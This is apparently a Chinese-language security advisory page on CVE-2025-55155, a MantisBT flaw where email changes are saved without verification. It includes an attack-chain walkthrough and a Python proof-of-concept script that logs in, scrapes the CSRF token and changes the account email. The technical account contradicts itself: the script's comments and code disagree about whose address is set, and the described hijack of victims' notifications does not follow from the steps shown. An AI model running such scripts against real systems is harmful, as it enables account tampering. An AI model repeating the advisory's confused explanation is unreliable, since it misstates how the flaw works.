IPBUF安全漏洞报告
English
CVE-2025-55155 CVSS 5.4 中危

CVE-2025-55155 MantisBT邮件地址验证缺失导致信息泄露

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-55155
漏洞类型
验证绕过/信息泄露
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mantis Bug Tracker (MantisBT)

相关标签

CVE-2025-55155MantisBT信息泄露验证绕过邮件劫持访问控制中危漏洞

漏洞概述

Mantis Bug Tracker (MantisBT)是一款开源的问题跟踪管理系统。在2.27.1及以下版本中,存在一个邮件地址验证缺失的安全漏洞。当用户通过个人资料编辑功能修改电子邮件地址时,系统直接保存新地址而未进行有效性验证。这可能导致两种安全风险:一是用户邮箱被修改为无效地址,从而无法接收系统通知;二是攻击者可以将自己的邮箱地址绑定到受害者账户,导致系统通知被发送到第三方邮箱,造成敏感信息泄露。攻击者只需拥有低权限账户即可利用此漏洞,无需特殊权限或用户交互即可完成攻击。该漏洞已被修复,版本2.27.2及以上版本已包含修复补丁。

技术细节

该漏洞属于访问控制验证缺失类型。漏洞存在于用户资料编辑模块的邮件地址更新逻辑中。具体问题在于:1) 系统接收用户提交的邮件地址参数后,直接更新数据库而未验证该邮箱的所有权;2) 缺少邮件验证流程(如发送验证链接),无法确认新邮箱是否真正属于当前用户;3) 没有二次确认机制,用户可以任意设置任意邮箱地址。攻击者可以利用此漏洞将任意邮箱绑定到自己的账户,然后通过系统功能(如问题分配、评论通知等)获取发送到该邮箱的系统通知内容。攻击者还可以通过社会工程学手段,将受害者邮箱绑定到自己账户,从而窃取本应发送给受害者的敏感信息。CVSS向量显示攻击复杂度低,无需特殊权限,攻击路径为网络可访问。

攻击链分析

STEP 1
步骤1
攻击者获取目标MantisBT系统的低权限账户(如普通用户账号)
STEP 2
步骤2
攻击者登录系统并访问个人资料编辑页面(account_pref_page.php)
STEP 3
步骤3
攻击者将邮箱地址修改为任意目标邮箱地址(如[email protected]),系统直接保存而无需验证
STEP 4
步骤4
当系统中其他用户(如管理员)向攻击者账户发送消息、分配问题或进行其他操作时,通知邮件会被发送到被篡改的邮箱地址
STEP 5
步骤5
攻击者通过接收到的通知邮件获取敏感信息,如问题详情、附件内容、其他用户信息等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-55155 PoC - MantisBT Email Validation Bypass # This PoC demonstrates the email address modification without verification import requests import json TARGET_URL = "http://target-mantisbt.com" ATTACKER_EMAIL = "[email protected]" def exploit_email_hijack(): """ Exploit the email validation bypass vulnerability in MantisBT <= 2.27.1 Steps: 1. Authenticate with low-privilege account 2. Capture valid session cookie 3. Modify email address to target's email (no verification required) 4. System notifications will now be sent to target's email """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/login.php" login_data = { "username": "low_priv_user", "password": "password123", "return": "index.php" } response = session.post(login_url, data=login_data) if "Logged On" not in response.text: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Access account preferences page account_url = f"{TARGET_URL}/account_pref_page.php" response = session.get(account_url) # Step 3: Extract form token import re token_match = re.search(r'name="__csrf_token" value="([^"]+)"', response.text) if not token_match: print("[-] Could not extract CSRF token") return False csrf_token = token_match.group(1) print(f"[+] CSRF Token: {csrf_token}") # Step 4: Submit email change without verification update_url = f"{TARGET_URL}/account_pref_update.php" update_data = { "__csrf_token": csrf_token, "email": ATTACKER_EMAIL, # No verification required! "save": "Save" } response = session.post(update_url, data=update_data) if response.status_code == 200: print(f"[+] Email changed to: {ATTACKER_EMAIL}") print("[+] System notifications will now be sent to attacker email") return True else: print("[-] Email change failed") return False if __name__ == "__main__": exploit_email_hijack()

影响范围

MantisBT < 2.27.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 限制普通用户修改邮箱功能,通过后台管理审核;2) 监控异常的邮箱修改行为;3) 对敏感操作启用双因素认证;4) 定期检查用户账户的邮箱配置是否异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表